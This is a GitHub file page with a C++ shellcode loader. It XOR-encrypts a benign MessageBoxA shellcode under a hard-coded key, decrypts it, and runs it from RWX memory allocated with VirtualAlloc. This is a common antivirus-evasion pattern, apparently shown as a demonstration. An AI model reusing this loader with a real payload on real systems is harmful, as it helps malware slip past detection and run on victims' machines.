-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathshellcode-xor.cpp
More file actions
47 lines (36 loc) · 1.46 KB
/
shellcode-xor.cpp
File metadata and controls
47 lines (36 loc) · 1.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <windows.h>
#include <iostream>
#include <string>
// Shellcode de exemplo (MessageBoxA "Hello" - 32 bits)
unsigned char shellcode[] =
"\x6A\x00\x68\x6F\x78\x21\x00\x68\x48\x65\x6C\x6C\x8D\x4C\x24\x04\x51"
"\x6A\x00\x6A\x00\xB8\xEA\x07\x45\x7E\xFF\xD0"; // MessageBoxA("Hello!")
const int shellcodeSize = sizeof(shellcode) - 1; // Tamanho real do shellcode
std::string xorKey = "MySecretKey"; // Chave de texto
void xorEncrypt(unsigned char* data, size_t len, const std::string& key) {
size_t keyLen = key.length();
for (size_t i = 0; i < len; ++i) {
data[i] ^= key[i % keyLen];
}
}
int main() {
// Copia o shellcode original
unsigned char encryptedShellcode[shellcodeSize];
memcpy(encryptedShellcode, shellcode, shellcodeSize);
// Encripta com chave de texto
xorEncrypt(encryptedShellcode, shellcodeSize, xorKey);
std::cout << "[+] Shellcode encriptado (XOR com chave \"MySecretKey\"):\n";
for (int i = 0; i < shellcodeSize; ++i) {
printf("\\x%02X", encryptedShellcode[i]);
}
std::cout << "\n";
// Desencripta antes da execução
xorEncrypt(encryptedShellcode, shellcodeSize, xorKey);
// Aloca memória e copia o shellcode
void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, encryptedShellcode, shellcodeSize);
std::cout << "[+] Executando shellcode...\n";
// Executa
((void(*)())exec)();
return 0;
}